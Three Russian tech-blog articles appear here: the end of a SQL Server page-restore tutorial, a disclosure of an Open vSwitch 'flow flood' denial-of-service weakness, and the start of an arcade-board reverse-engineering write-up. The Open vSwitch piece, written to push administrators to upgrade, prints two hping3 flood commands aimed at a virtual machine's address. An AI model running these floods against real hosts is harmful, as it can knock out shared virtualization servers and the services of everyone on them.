Страницы, приндалежащие критически важным системным таблицам могут быть восстановлены, но база данных, при восстановлении, будет недоступна в любой редакции SQL Server.
«Карты размещения» не могут быть восстановлены «отдельно». Если повреждены GAM, SGAM, PFS, ML, DIFF-страницы, необходимо восстанавливать базу данных целиком. Единственным исключением являются IAM-страницы. Хотя они и относятся к «картам размещения», но они описывают только одну таблицу, а не всю базу данных, и их восстановление возможно.
Загрузочная страница базы данных (9-я страница в 1-м файле БД) и страница заголовка файла (0-я страница в каждом файле) не могут быть восстановлены «отдельно», при их повреждении придется восстанавливать БД целиком.
#### Собственно, восстановление
Теперь, наконец, переходим от теории к практике.
В первую очередь, для тренировки, нужна испорченная база данных.
##### Портим БД
Для экспериментов я буду использовать базу данных AdventureWorks, которая поставляется вместе с SQL Server. Если вы не устанавливали ее, при желании, можно скачать [здесь](http://sqlserversamples.codeplex.com/). Перевожу ее в модель восстановления full:
```
ALTER DATABASE AdventureWorks SET RECOVERY FULL
```
убеждаюсь, что ошибок в ней еще нет:
```
DBCC CHECKDB('AdventureWorks') WITH NO_INFOMSGS, ALL_ERRORMSGS, DATA_PURITY
```
и создаю полный бэкап:
```
BACKUP DATABASE AdventureWorks
TO DISK = 'D:\tmp\aw_backups\aw_full_ok1.bak'
```
В этой базе данных я создаю таблицу crash.
```
CREATE TABLE crash (txt varchar(1000))
```
Поле типа varchar мы и будем портить, для того, чтобы проверить что произойдет, если вдруг SQL Server обнаружит в нем не те данные, которые он сам туда записал.
Прежде чем что-то испортить, надо это чем-то заполнить. Я забиваю в созданную таблицу левые данные.
```
SET NOCOUNT ON
DECLARE @i INT
SET @i = 1
WHILE @i<100000
BEGIN
INSERT INTO crash
SELECT REPLICATE('a', 1000)
SET @i = @i + 1
END
SET NOCOUNT OFF
```
Теперь делаю резервную копию журнала транзакций:
```
BACKUP LOG AdventureWorks
TO DISK = 'D:\tmp\aw_backups\aw_log_ok1.trn'
```
Теперь немного изменим данные:
Итак, все готово. Отсоединяем БД и открываем mdf-файл FAR'ом (или чем вам удобнее), ищем в нем строку «zzzzzzz» и заменяем несколько 'z' на произвольные символы:
Теперь, когда БД испорчена, подсоединяем ее. И, да, я помню, что в предыдущей статье было четко сказано, что отсоединять/присоединять БД не стоит. Но в нашем случае это абсолютно «безопасно» — база данных в «suspect» не упадет.
##### Ищем ошибки
Итак, испорченная БД успешно вернулась в строй. Снова запустим проверку целостности:
```
DBCC CHECKDB('AdventureWorks') WITH NO_INFOMSGS, ALL_ERRORMSGS, DATA_PURITY
```
В результате то, чего мы ждали (**обязательно запоминайте номера поврежденных страниц!**):
`Msg 8928, Level 16, State 1, Line 1
Object ID 1883153754, index ID 0, partition ID 72057594054246400, alloc unit ID 72057594061651968 (type In-row data): Page (1:20455) could not be processed. See other errors for details.
Msg 8939, Level 16, State 98, Line 1
Table error: Object ID 1883153754, index ID 0, partition ID 72057594054246400, alloc unit ID 72057594061651968 (type In-row data), page (1:20455). Test (IS_OFF (BUF_IOERR, pBUF->bstat)) failed. Values are 29493257 and -4.
CHECKDB found 0 allocation errors and 2 consistency errors in table 'crash' (object ID 1883153754).
CHECKDB found 0 allocation errors and 2 consistency errors in database 'AdventureWorks'.
repair_allow_data_loss is the minimum repair level for the errors found by DBCC CHECKDB (AdventureWorks).`В данном случае повреждены сами данные, находящиеся в куче (index id = 0), поэтому SQL Server эти данные восстановить не сможет.
Сейчас у нас есть три варианта:
1. Смириться с потерей данных и выполнить DBCC CHECKDB('AdventureWorks', REPAIR\_ALLOW\_DATA\_LOSS)
2. Сделать бэкап активной части журнала транзакций и восстановить БД целиком — в результате потери данных не будет, но это займет продолжительное время
3. Сделать бэкап активной части журнала транзакций и восстановить только одну(!), поврежденную, страницу
Со вторым вариантом все должно быть понятно, а вот что произойдет если запустить DBCC CHECKDB или как восстанавливаются отдельные страницы — я покажу дальше.
##### Восстанавливаем поврежденную страницу
В первую очередь нам надо сделать бэкап заключительного фрагмента журнала транзакций ([tail backup](http://msdn.microsoft.com/ru-ru/library/ms179314.aspx)). При этом, если у вас Enterprise Edition, вы можете не добавлять параметр NORECOVERY, который переведет БД в состояние «restoring», поскольку эта редакция поддерживает on-line восстановление страниц. Более того, если у вас резервные копии журнала транзакций выполняются на регулярной основе, чтобы не нарушать цепочку журналов, в редакции Enterprise Edition, вы можете сделать COPY\_ONLY бэкап.
Я же иду по пути off-line восстановления и выполняю:
```
BACKUP LOG AdventureWorks
TO DISK = 'D:\tmp\aw_backups\aw_log_fail3.trn'
WITH NORECOVERY
```
Теперь, можно восстанавливать поврежденную страницу. В первую очередь, используем полный бэкап (aw\_full\_ok1.bak):
```
RESTORE DATABASE AdventureWorks
PAGE = '1:20455'
FROM DISK = 'D:\tmp\aw_backups\aw_full_ok1.bak'
WITH NORECOVERY
```
В итоге, имеем:
Обратите внимание на то, что необходимо использовать опцию NORECOVERY, поскольку нам предстоит еще накатывать на нее бэкапы журнала транзакций.
```
RESTORE LOG AdventureWorks
FROM DISK = 'D:\tmp\aw_backups\aw_log_ok1.trn'
WITH NORECOVERY
```
и
```
RESTORE LOG AdventureWorks
FROM DISK = 'D:\tmp\aw_backups\aw_log_fail3.trn'
WITH RECOVERY
```
Вроде бы все прошло успешно, запускаем DBCC CHECKDB и…
Восстановление прошло успешно.
Обратите внимание, что время простоя сокращается за счет того, что из полного бэкапа мы восстанавливаем не всю БД, а только поврежденные страницы (если бы я восстанавливал бэкап целиком — бэкап восстановился бы за 8,5 секунд, но, чем больше размер БД — тем больше будет разница во времени). Счастливчики с SQL Server Enterprise Edition, использующие on-line восстановление, так же сэкономят время на восстановлении из бэкапов лога, а при off-line восстановлении, увы, журналы будут обрабатываться целиком.
Стоит так же добавить, что в SQL Server 2005, 2008, 2008 R2 восстановление отдельной страницы возможно только с помощью T-SQL, в Denali появилась возможность делать это через GUI.
##### А если все-таки DBCC CHECKDB?
На всякий случай я решил проверить что сделает SQL Server, если я запущу DBCC CHECKDB с параметром REPAIR\_ALLOW\_DATA\_LOSS. Все та же ошибка:
Сначала переводим БД в режим SINGLE\_USER:
```
ALTER DATABASE AdventureWorks SET SINGLE_USER
```
А затем, запускаем восстановление:
```
DBCC CHECKDB('AdventureWorks', REPAIR_ALLOW_DATA_LOSS) WITH NO_INFOMSGS, ALL_ERRORMSGS, DATA_PURITY
```
В итоге:
`Repair: The page (1:20455) has been deallocated from object ID 1883153754, index ID 0, partition ID 72057594054246400, alloc unit ID 72057594061651968 (type In-row data).`Ага, SQL Server удалил «испорченную» страницу. Переводим БД в режим MULTI\_USER, чтобы она стала доступной для всех и проверяем что пропало:
Учитывая, что размер страницы в SQL Server 8КБ, а для пользовательских данных доступно чуть меньше — то все закономерно, таблица «похудела» на 7 записей (в начале их было 99999). Поскольку на этой таблице не было кластерного индекса, данные могли храниться в произвольном порядке, т.е. мы даже не могли узнать какие данные будут потеряны.
#### Так почему, все-таки, не перевод?
Итак, почему это все-таки не перевод, а пост «по мотивам». Дело в том, что, в открытом доступе статьи «Page Restore» за авторством Gail Shaw нет. Есть такой раздел в книге SQL Server MVP Deep Dives vol.2, которая продается за довольно-таки ощутимые деньги (но, естественно, легко находится в интернетах) и я не уверен, что публиковать перевод — это эм… правильно что ли.
В общем, я прочитал статью, взял на заметку основные моменты, а потом уже сам писал текст и, попутно, проводил эксперимент по восстановлению. Надеюсь, кому-нибудь этот опыт был полезен.
И, господа, я искренне надеюсь, что если вы решите повторять этот эксперимент, то будете предельно осторожны (например, не будете эксперементировать с основной БД на production-сервере). Помните, что никакой ответственности за ваши действия я не несу. | https://habr.com/ru/post/137301/ | null | ru | null |
# DoS уязвимость в Open vSwitch
Спойлер: Open vSwitch версий меньше 1.11 уязвим перед атакой вида «flow flood», позволяющей злоумышленнику прервать работу сети отправкой относительно небольшого потока пакетов в адрес любой виртуальной машины. Версии 1.11 и старше проблеме не подвержены. Большинство серверов с OVS до сих пор используют OVS 1.4 или 1.9 (LTS-версии). Администраторам таких систем настоятельно рекомендуется обновить систему на более новую версию OVS.
Лирика: Прошло уже больше полутора лет с момента, когда я впервые сумел воспроизвести эту проблему. В рассылке OVS на жалобу сказали, что «в следующих версиях исправят» — и исправили, пол-года спустя. Однако, это исправление не коснулось LTS-версии, а значит, большинство систем, использующих OVS, всё так же уязвимо. Я пытался несколько раз связаться с Citrix'ом (т.к. он использует самую уязвимую версию OVS в составе Xen Server — в тот момент это был мой основной продукт для эксплуатации), но никакой внятной реакции не последовало. Сейчас у администраторов есть возможность устранить проблему малой кровью, так что я решил опубликовать описание очень простой в воспроизведении и крайне запутанной и в диагностике проблемы — проблеме «flow congestion», она же «flow flood attack», она же «странная неведомая фигня, из-за которой всё работает странно». Раньше в комментариях и в рассылках про эту проблему я уже несколько раз писал, но у меня ни разу не хватало пороху полностью описать проблему на русском языке так, чтобы суть проблемы была понятна обычному айтишнику. Исправляюсь.
Следующая строчка `hping3 -i u10 virtual.machine.i.p` нарушает работоспособность хоста виртуализации, где запущена виртуальная машина. И не только хоста виртуализации — любую систему, работающую на Open vSwitch версий меньше 1.11. Я делаю особый упор на версиях 1.4.3 и 1.9, потому что они являются LTS-версиями и используются чаще всего.
Более суровая версия того же вызова, на этот раз с нарушением правил пользования сетью: `hping3 --flood --rand-source virtual.machine.i.p`. Соотношение исходящего трафика (~10-60Мбит/с) и (потенциальной) пропускной способности интерфейса жертвы (2x10G, соотношение по доступной полосе атакующий/атакуемый порядка 1:300-1:1000) позволяет говорить именно про уязвимость, а не про традиционную DoS атаку флудом, забивающем каналы аплинков до нерабочего состояния.
Симптомы со стороны хоста виртуализации: неожиданные задержки при открытии соединений, рост потребления CPU процессом ovs-vswitchd до 100%, потеря пакетов для новых или малоактивных сессий. Если используется OVS 1.4, то процесс ovs-vswitchd не только съедает свои 100% CPU, но и начинает подъедать память и делает это со скоростью до 20 мегабайт в минуту, пока к нему не приходит добрый дедушка OOM и не проводит воспитательную беседу.
В отличие от обычных проблем с сетью, запущенные пинги с большой вероятностью «прорвутся», и как только flow с ними попадёт в ядро, ping работать будет без малейших нареканий, а вот новые соединения будет уже не установить. Это сильно затрудняет диагностику проблемы, потому что психологическое «пинги есть — сеть работает» изжить очень сложно. Если к этому добавить, что «прорвавшаяся» ssh-сессия на хост будет продолжать работать так же без особых затруднений, то убедить администратора в том, что проблема с сетью со стороны хоста будет крайне и крайне сложно. Если флуд на интерфейс превышает некоторый порог (~50-80Мб/с), то любая адекватная сетевая активность прекращается. Но коварство описанной проблемы состоит в том, что значительная деградация сервиса происходит при значительно меньших нагрузках, при которых канонические средства диагностики сети рапортуют «всё в порядке».
Пользуясь случаем хочу извиниться перед [si14](https://habrahabr.ru/users/si14/), который о странности с сетью у лабораторных виртуалок говорил, но не мог мне доказать их наличие, а я «видел», что у меня всё хорошо, и потребовалось больше года, пока я, наконец, не только сам заподозрил неладное, но и смог найти однозначный краш-тест.
В случае XenServer ситуация с OVS осложняется тем, что локальный management-трафик так же идёт через бридж Open vSwitch, а все бриджи обслуживаются одним процессом ovs-vswitchd, то есть счастливый администратор даже не сможет посмотреть на эти симптомы — его просто не пустят по ssh. А если пустят — то см выше, про «проблем нет». Поскольку трафик NAS/SAN так же идёт через бридж, то даже после исчезновения причин, виртуальные машины с большой вероятностью останутся в нерабочем состоянии. В этом случае симптомы проблемы — «неожиданное зависание, начавшееся с лагов и потери пакетов».
Описание уязвимости с точки зрения «production manager'а» — любой школьник с 10-50 мегабитным каналом на ADSL может положить всю ферму серверов виртуализации с десятигигабитными портами, если с них хотя бы одна виртуалка «смотрит» интерфейсом в интернет. И правила/ACL внутри виртуалки практически не помогут. Аналогичное может устроить любой пользователь любой виртуалки, даже лишённой доступа в интернет.
Техническое описание проблемы
=============================
*(иллюстрация из поста [An overview of Openvswitch implementation](http://wangcong.org/blog/archives/2131))*
Причина: Старые версии Open vSwitch не умеют объединять похожие flow и при обнаружении ethernet-кадра, похожего на новый flow всегда отправляют кадр на инспекцию через netlink-сокет процессу ovs-vswitchd, Так как процесс инспекции крайне медлительный (на фоне ошеломительной скорости хэш-таблиц в ядре), а сам ovs-vswitchd является однопоточным и единственным в системе, то производительность сети в условиях появления множества новых flow оказывается ограничена скоростью userspace-приложения (и его хождения в ядро/обратно через netlink). Через короткое время существующие kernel flow оказываются заменены новыми записями и вытеснят существующие (если только те не очень активны), а шансы восстановления новой flow обратно пропорциональны числу конкурентов — то есть флуду. Причём, количество пакетов в добросовестной сессии не играет никакой роли — вся сессия оказывается одной-единственной flow. Именно это служило долгое время «слепым пятном» — любой burst-тест с единичной TCP-сессией радостно сообщал о гигабитах трафика при почти нулевой утилизации процессора.
Kernel flow versus openflow flow
================================
Ключевым является понимание разницы между kernel flow и openflow flow. Openflow flow подразумевает, что flow сопровождается битовой маской, точнее, формат openflow подразумевает указание на интересующие поля. При этом для остальных полей неявно подразумевается «не важно», то есть "\*".
Модуль ядра в старых версиях Open vSwitch использует довольно изощрённый механизм работы с правилами, у которого есть только один недостаток: он не поддерживает маски и звёздочки.
Механизм там следующий: у входящего ethernet-кадра выбираются все его заголовки, начиная с L2 и заканчивая L4 (то есть, например, номер порта у TCP), за вычетом уж совсем бесполезных, наподобие «размер окна» у TCP, или «номер сегмента». Все они упаковываются в бинарную структуру, после чего от этой структуры считается хеш. Дальше этот хеш ищется в хеш-таблице правил, и если для правила находится совпадение, используется оно. Если ни одно не совпадает, пакет отправляется на инспекцию более интеллектуальной программе в userspace (ovs-vswitchd), которая присылает обратно новое правило, что делать с такими пакетами. Правила для openflow, а так же наложенные вручную правила через ovs-ofctl обрабатываются именно ovs-vswitchd, а ядерный модуль о них ничего не знает. Особо это касается правила «normal», которое означает «веди себя как коммутатор». Но даже обычный drop всё равно требует инспекции в user-space, потому что drop чаще всего не включает в себя все возможные комбинации входящего/исходящего порта, а, значит, с точки зрения OVS, содежит «звёздочки».
Хеш-таблица даёт фантастическую производительность, которая не зависит от числа правил (то есть 10000 правил будут обрабатываться примерно с такой же скоростью, как и одно).
К сожалению, если заголовки у каждого нового пакета разные, то каждый новый такой пакет уйдёт на инспекцию в userspace. Что медленно и печально.
Оригинальная задумка OVS была в том, что в рамках TCP-сессии все пакеты будут одинаковыми и на всю сессию будет одно правило. К сожалению, злой «хаккир вася», скопипастив строчку выше, сможет это ожидание нарушить.
В новых версиях эту проблему решили с помощью megaflow.
Megaflow
========
Они появились в Open vSwitch начиная с версии 1.11. Megaflow не относится к openflow, а касается взаимодействия ovs-vswitchd и ядерного модуля. К сожалению, цена за megaflow вполне ощутимая — производительность в ряде случаев падает процентов на 5-20%. К счастью, взамен ovs-vswitchd практически ни при каких условиях не будет отъедать непропорционально много ресурсов.
Что такое megaflow? Очень подробно на Си это излагается [тут](http://openvswitch.org/pipermail/dev/2013-August/031162.html). Из того, что я понял — появляется понятие «маски», сами маски являются уникальными для всего kernel datapath, а при поиске приходится учитывать их все, то есть сложность поиска становится не o(1), а o(masks). Отсюда и получается некоторое падение производительности. Но на фоне невыразимых тормозов и отказа в обслуживании в случае flow flood'а — это радостная новость. И, пожалуй, единственный выход.
Кроме того, во многих инсталляциях масок будет очень мало, и падение производительности будет неощутимым. Например, неуправляемый режим «простого коммутатора», то есть normal, вероятнее всего, будет содержать одну-единственную маску.
Атака in the wild
=================
При том, что в начале статьи речь шла про «атаку на отказ в обслуживании с hping/nping», реальная проблема куда шире. Если к виртуальной машине по какой-то причине идёт много обращений с множества разных адресов, или просто устанавливается много сессий, то с точки зрения поведения OVS разницы с «атакой» и «высокой нагрузкой» никакой. Я такое наблюдал в реальности, когда виртуальная машина использовалась для раздачи статики для какой-то жутко популярной браузерной игры, содержащей кучу мелких картинок. Игроков было много, картинок было много, они были маленькие. Итого — несколько тысяч новых TCP-сессий в секунду размером 300-500 байт. При этом получался весьма умеренный поток в 15-20 мегабит. И худший случай для старых версий OVS, так как каждая сессия — хождение в юзерспейс.
Дополнительную проблему создаёт то, что у netlink есть буфер, и у сетевых интерфейсов есть буфер, и у OVS есть буфер. Входящие пакеты не просто дропаются — они становятся в очередь, загружая процессор на 100% (да-да, на 100 из 800 доступных). Это приводит к росту latency в обработке новых flow. Причём эту latency крайне трудно диагностировать: лаг есть только на первом пакете, все последующие (в рамках созданной flow) обрабатываются быстро.
Рост latency приводит к второй части проблемы: если пакет из существующей TCP-сессии оказывается в очереди достаточно долго, то запись о такой сессии вытирают из kernel flow table. И пакет опять идёт на инспекцию, на создание новой kernel flow, и это ещё больше добивает OVS до состояния «не дышит и не шевелится».
Заметим, что проблема симметрична по отношению input/output. Это может быть не только «хаккир вася» снаружи, но и «хаккир вася» внутри. Виртуальная машина, рассылающая тысячи новых сессий наружу, вызывает такие же проблемы — и эти проблемы касаются всех, кто оказался рядом с «хаккиром». Если же рассылаются пакеты по соседям по сети, то одинокая виртуальная машина становится способна парализовать или сильно ухудшить качество сервиса для целого множества серверов виртуализации.
Понятно, что для публичного провайдера такое смерти подобно. На предыдущей работе мне пришлось написать довольно [уродливый патч](http://openvswitch.org/pipermail/dev/2013-April/026424.html), который резал большую часть функционала OVS (т.к. megaflow к тому моменту ещё не было), оставляя в бинарных отпечатках кадра (из которого делают хеш) только минимальный возможный набор параметров. В апстрим такое не берут, но возникшую проблему я решил. А до выхода OVS 1.11 c megaflow оставалось ещё примерно пол-года…
Масштабы проблемы
=================
| | | |
| --- | --- | --- |
| **дистрибутив** | **версия OVS** | **уязвимость** |
| Debian Sqeeze | x | пакета нет |
| Debian Wheezy | 1.4.2 | уязвимая версия + memory leak |
| Debian Sid | 1.9.3 | уязвимая версия (вот вам и bleeding edge) |
| Ubuntu 12.04 | 1.4 | уязвимая версия + memory leak |
| Ubuntu 14.04 | 2.0 | ура, ура. |
| XenServer 5.5 | 1.4.2 | уязвимая версия + memory leak |
| XenServer 6.2 | 1.4.3 | уязвимая версия. До сих пор, даже не 1.9! |
| RHEL/CentOS 5 | x | Пакет не предоставляется |
| RedHat/CentOS 6.5 | x | Только модуль ядра, без userspace |
| Fedora 21 | 2.1 | свежайшая! |
(информация о версии OVS в вашем любимом дистрибутиве приветствуется и будет добавлена, указывать на версию желательно с ссылкой на сайт дистрибутива)
Поскольку OVS является рекомендованным и штатным бриджем для openstack, причём как opensource-версий, так и многих проприетарных (они всё равно используют OVS для трафика до виртуалки), то можно говорить, что большинство дефолтных установок OpenStack подвержено проблеме. Аналогичная проблема ожидает штатные установки libvirt на базе OVS — так как в дистрибутивах, в основном, проблемные версии.
Заключение
==========
Обновляться, обновляться, обновляться. К величайшему счастью пользователей CentOS 5 и прочих ценителей достижений мамонтов, ядерный модуль OVS 1.11 поддерживает 2.6.18 (но не более 3.8), так что он будет работать на большинстве систем. Для более новых ядер стоит использовать более новые версии OVS — 2.0, или даже 2.1 (только-только вышел в начале мая 2014). Ключевая потенциальная проблема — если при обновлении OVS не обновить модуль ядра, то получившееся работать не будет (хотя утилиты командной строки будут пытаться изображать работоспособность).
Вторая проблема: все версии, в которых уязвимость исправлена, не являются LTS. Это означает, что их их следует обновлять практически сразу же, как выходит более новая, так как поддержка для не-LTS практически отсутствует (а багфиксы идут только в следующую версию).
**Ссылки по теме**:
* Статьи в Википедии: [ru: Open vSwitch](http://ru.wikipedia.org/wiki/Open_vSwitch), [en: Open vSwitch](http://en.wikipedia.org/wiki/Open_vSwitch), [ru: OpenFlow](http://ru.wikipedia.org/wiki/Openflow), [en: OpenFlow](http://en.wikipedia.org/wiki/Openflow)
* [Download Open vSwitch](http://openvswitch.org/download/)
* [Видео по архитектуре Open vSwitch](https://www.youtube.com/watch?v=FyV4MoQ3T0I)
* [Мануал по управлению обработкой flow в OVS](http://git.openvswitch.org/cgi-bin/gitweb.cgi?p=openvswitch;a=blob_plain;f=tutorial/Tutorial;hb=HEAD)
P.S. Если кто-то решит проверить «как оно работает» из виртуалки — учтите, что после запуска есть вероятность, что Ctrl-C вы уже не нажмёте. Точнее, нажмёте, но сервер вас не услышит и продолжит слать флуд в интерфейс, и даже перезагрузить такую виртуалку будет сложно — если управление идёт через такой же бридж, то команда на выключение или перезагрузку просто «не дойдёт» до утилит на хосте. | https://habr.com/ru/post/124310/ | null | ru | null |
# Реверс-инжиниринг железа: находим UART и извлекаем прошивку при помощи UBoot
Введение
========
В этом посте мы расскажем об UART, UBoot и USB, а нашей целью станет игровой автомат Arcade 1UP Marvel. Серия автоматов Arcade 1Up предоставляет возможность за приемлемую цену приобрести домашнюю аркадную машину. С момента выпуска этих автоматов появилось множество [модов](https://arcademodup.com/product/amumodkit/), демонстрирующих, как заменить внутренние компоненты автомата для запуска стандартного ПО MAME. В посте мы исследуем оборудование автомата и узнаем, как извлечь его прошивку.
Задачи
======
В этом посте мы раскроем следующие темы:
* Разборка встроенной системы
* Идентификация компонентов по маркировкам на печатных платах
* Измерение напряжений на ножках при помощи мультиметра
* Использование и настройка логического анализатора
* Анализ и просмотр UBoot
* Скриптинг взаимодействий с UBoot при помощи [depthcharge](https://depthcharge.readthedocs.io/en/latest/)
Цель этой статьи заключается в том, чтобы познакомить читателей с процессом нахождения активного UART в системе, работой с консолью UBoot и в конечном итоге использованием этих компонентов для извлечения флэш-памяти из системы. Прочитав статью, вы познакомитесь с утилитой `screen` из библиотеки `depthcharge` python3.
Краткое описание оборудования
=============================
При изучении новой платформы одна из первых задач заключается в анализе доступных интерфейсов. В случае этого аркадного автомата поначалу кажется, что набор интерфейсов очень ограничен. Пользователи взаимодействуют с устройством посредством джойстика/кнопок и USB-разъёмом на боковой панели автомата. Похоже, относительно USB-разъёма существует довольно мало информации. Стоит заметить, что даже на [фотографиях](https://arcade1up.com/collections/counter-cade/products/marvel-super-heroes-2-player-counter-cade) с сайта производителя USB-разъёма нет. Однако наличие разъёма для USB-устройств подразумевает поддержку внешних контроллеров. На другой стороне устройства есть стандартный разъём для наушников. Эти два периферийных разъёма ведут себя как положено — к USB-разъёму можно подключить внешний контроллер, да и разъём наушников работает в соответствии с описанием.
*Интересный факт*: на некоторых старых мобильных телефонах можно было настроить аудиоразъём так, чтобы при запуске он работал в качестве последовательного терминала. Подробнее об этом можно прочитать [здесь](https://masneyb.github.io/nexus-5-upstream/UART_CABLE.html). К сожалению, подобные модификации не работают на нашей платформе.
Учитывая всю эту информацию, похоже, возможности внешнего исследования устройства завершены. Поэтому теперь мы вскроем автомат и посмотрим, что внутри!
Разборка автомата
-----------------
Внутри автомат практически пуст, если не считать прикреплённого к экрану металлического корпуса.
Под металлической крышкой находится основная печатная плата автомата; аккуратно сняв дополнительную металлическую накладку, мы видим следующее:
Впервые изучая печатную плату, стоит записать все номера деталей и посмотреть, не удастся ли найти по ним даташиты. Первый компонент, бросившийся мне в глаза, выделен синим.
На этой компоненте написано `Rockchip RK3128`. Если поискать этот артикул онлайн, мы найдём очень много информации; информация ниже взята из [вики Rockchip](http://rockchip.wikidot.com/rk3128)
* CPU
+ четырёхъядерный процессор ARM Cortex-A7MP Core, высокопроизводительный, с низким энергопотреблением и кэшированием приложений
+ Полная реализация набора команд v7-A архитектуры ARM, поддержка ARM Neon Advanced SIMD (single instruction, multiple data) для ускорения медиавычислений и обработки сигналов
* GPU
+ ARM Mali400 MP2
+ высокопроизводительный, с поддержкой OpenGL ES1.1, 2.0, OpenVG1.1 и т. д.
* Память
+ 8 КБ внутренней SRAM
+ Dynamic Memory Interface (DDR3/DDR3L/LPDDR2)：совместим с DDR3-1066/DDR3L-1066/LPDDR2-800 SDRAM стандарта JEDEC. Поддерживает 32-битную ширину данных, 2 ранга (выбирается чипом), общее адресное пространство размером 2 ГБ (максимум).
+ Интерфейс Nand Flash: поддерживает 8-битные async/toggle/syncnandflash, до 4 банков, 16-битную, 24-битную, 40-битную, 60-битную аппаратную ECC
+ Интерфейс eMMC: совместимый со стандартным интерфейсом eMMC, поддерживает протокол MMC4.5
* Видео
+ Декодер видео MPEG-1, MPEG-2, MPEG-4,H.263, H.264, H.265, VC-1, VP8, MVC в реальном времени
* Аудио
+ I2S/PCM с 8 каналами: до 8 каналов (8xTX, 2xRX). Разрешение аудио от 16 бит до 32 бит. Частота сэмплирования до 192 кГц
+ I2S/PCM с 2 каналами: до 2 каналов (2xTX, 2xRX). Разрешение аудио от 16 бит до 32 бит. Частота сэмплирования до 192 кГц
* Разъёмы
+ Контроллер SPI: один встроенный контроллер SPI на чипе
+ Контроллер UART: 3 контроллера UART на чипе
+ Контроллер I2C: 4 контроллера I2C на чипе
+ USB Host2.0: встроенные интерфейсы 1 USB Host 2.0
+ USB OTG2.0: совместимый со спецификацией USB OTG2.0. Поддерживает режимы high-speed (480 Мбит/с), full-speed (12 Мбит/с) и low-speed (1,5 Мбит/с).
Из одного этого описания мы уже достаточно много узнали о процессоре. Мы знаем архитектуру, доступную периферию и интерфейсы; они полезны для нас, потому что могут стать основой для векторов атак в будущем. Важно помнить, что на этом этапе процесса реверс-инжиниринга никакая информация не будет лишней. Мы хотим как можно больше узнать о цели, прежде чем попытаемся взаимодействовать с ней.
Непосредственно рядом с CPU есть ещё один компонент, на изображении ниже выделенный оранжевым.
Этот компонент имеет маркировку `SEC931 K4B2G1646F-BYMA`, и нам повезло найти этот артикул в результатах поиска на [веб-странице Samsung](https://www.samsung.com/semiconductor/dram/ddr3/K4B2G1646F-BYMA/). Информация на этой странице сообщает нам, что это чип DDR3 SDRAM на 2 ГБ. На той же странице можно скачать [даташит](https://semiconductor.samsung.com/resources/data-sheet/DS_K4B2G1646F_BY_M_Rev1_0-1.pdf); при подобной работе всегда стоит собирать даташиты, если они доступны. Этот чип отвечает за расширение доступной для CPU памяти и обеспечение источника энергозависимой памяти (ОЗУ).
Пока мы выявили то, что скорее всего является основным CPU и внешней ОЗУ. Однако мы пока не знаем тип энергонезависимой памяти. Поэтому далее давайте исследуем компонент, выделенный на изображении розовым.
Этот компонент имеет маркировку `Winbond 25N01GVZEIG`, поиск такого артикула приводит нас к [этому даташиту](https://www.winbond.com/resource-files/W25N01GV%20Rev%20Q%20051721.pdf). Это устройство является последовательным чипом флэш-памяти SLC NAND на 1 Гбит. Согласно даташиту, этот чип использует Serial Peripheral Interface и совместим с диапазоном напряжений от 2,6 В до 3,3 В. С большой вероятностью в этом чипе хранится основной массив данных, используемых автоматом, и он будет нашей основной целью для извлечения прошивки.
Последний компонент находится рядом с линиями GPIO и имеет маркировку `MIX2018A`. Он непохож на другие тем, что про него я не смог найти почти никакой информации. Однако, судя по информации на нескольких [сайтах](https://shophu2.ashdiabuisf.ru/content?c=mix2018a%20ic%20chip%20datasheet&id=1), эта интегральная схема является звукоусилителем. Во всех источниках про это устройство, которые мне удалось найти онлайн, оно называется именно так, поэтому будем пока считать, что в этом и заключается его функция.
Итак, повторим компоненты, которые мы обнаружили:
1. ARM CPU Rockchip RK3128
2. Чип Samsung SRAM
3. Флэш-память Winbond NAND на 1 Гбит
4. Звукоусилитель MIX2018A
Теперь, когда мы изучили интегральные схемы платы, давайте взглянем на разъёмы платы и разберёмся, что по ним можно узнать.
Анализ разъёмов
---------------
Задокументировав все дискретные компоненты материнской платы, мы попытаемся распознать её внешние разъёмы. Во-первых, у нас есть круглый разъём, показанный на изображении внизу синим цветом:
Этот разъём используется для подачи питания на автомат.
Справа от круглого разъёма есть разъём micro-USB. Это сразу вызывает удивление по двум причинам:
1. Это разъём *не* для пользователя
2. Это не разъём USB-хоста; это разъём micro, намекающий на USB-устройство или, возможно, на контроллер OTG (on the go)
Ещё правее находится два ряда контактов. Они были подключены к серому гибкому шлейфу, показанному на предыдущих изображениях. Этот разъём соединяется с отдельной платой управления и используется для управления джойстиками/кнопками.
После разъёма платы управления есть ещё один четырёхконтактный разъём. Не совсем очевидно, куда он ведёт. Например, этот разъём может вести к USB-разъёму или к разъёму для наушников. Мы можем попробовать определить это при помощи мультиметра и [прозвонки цепи](https://www.youtube.com/watch?v=5G622WDZaHg). Прозвонка позволяет проверить, может ли течь ток между двумя щупами и обычно обозначается на мультиметре одним из следующих символов:
Мы можем использовать эту модель для проверки того, соединены ли два компонента. Я вставил в разъём для наушников кабель и прижал щуп к одному из металлических колец, чтобы проверить соединение. Другим щупом я касался каждой точки четырёхконтактного разъёма и на одной из линий мультиметр издал громкий писк, сообщая, что между этими двумя точками есть соединение. Каждый из трёх контактов совпадал с кольцом на аудиоразъёме; это разъём для наушников!
Далее у нас находится разъём для дисплея:
Рядом с дисплеем расположены два двухконтактных разъёма, один в правом нижнем углу, он используется для питания подсветки самого автомата, а другой идёт к переключателю «вкл./выкл.», находящемуся снаружи металлического корпуса.
Следующий разъём похож на аудиоразъём; это четырёхконтактный соединитель, кабели которого ведут к панели управления. Остался только один интерфейс, который мы пока не рассмотрели: USB-разъём на боковой панели автомата. Если переключить мультиметр на режим прозвонки цепей и проверить контакты этот разъёма с USB-разъёмом, то мы убедимся, что они действительно связаны. Это наш внешний USB-разъём.
Мы разобрались со всеми разъёмами, которые пришлось отсоединить, чтобы лучше видеть плату. Следовательно, исследовать нам осталось не так много. При изучении печатной платы стоит рассмотреть неиспользуемые тестовые площадки или переходные соединения; на изображении ниже я выделил неиспользуемые контакты/площадки.
На показанном выше изображении мы видим три набора неподключённых контактов или площадок. Наверху платы есть три переходных соединения; переходное соединение используется для создания связей между несколькими слоями печатной платы. При исследовании встроенных систем подобные соединения являются хорошей начальной точкой, потому что они могут содержать отладочный контакт, применявшийся во время разработки.
Ещё одна группа состоит из 16 площадок, обозначенных белым прямоугольником и небольшим кружком. Эта группа площадок с большой вероятностью предназначалась для другой интегральной схемы, которая не требуется на этой плате.
Последняя группа площадок выглядит очень похоже на разъёмы, использованные для USB и аудио. Подобные четырёхконтактные соединения неиспользуемых площадок часто являются кандидатами на отладочную консоль через UART; мы исследуем эти контакты и обсудим UART в следующем разделе.
---
Исследование отладочных контактов
---------------------------------
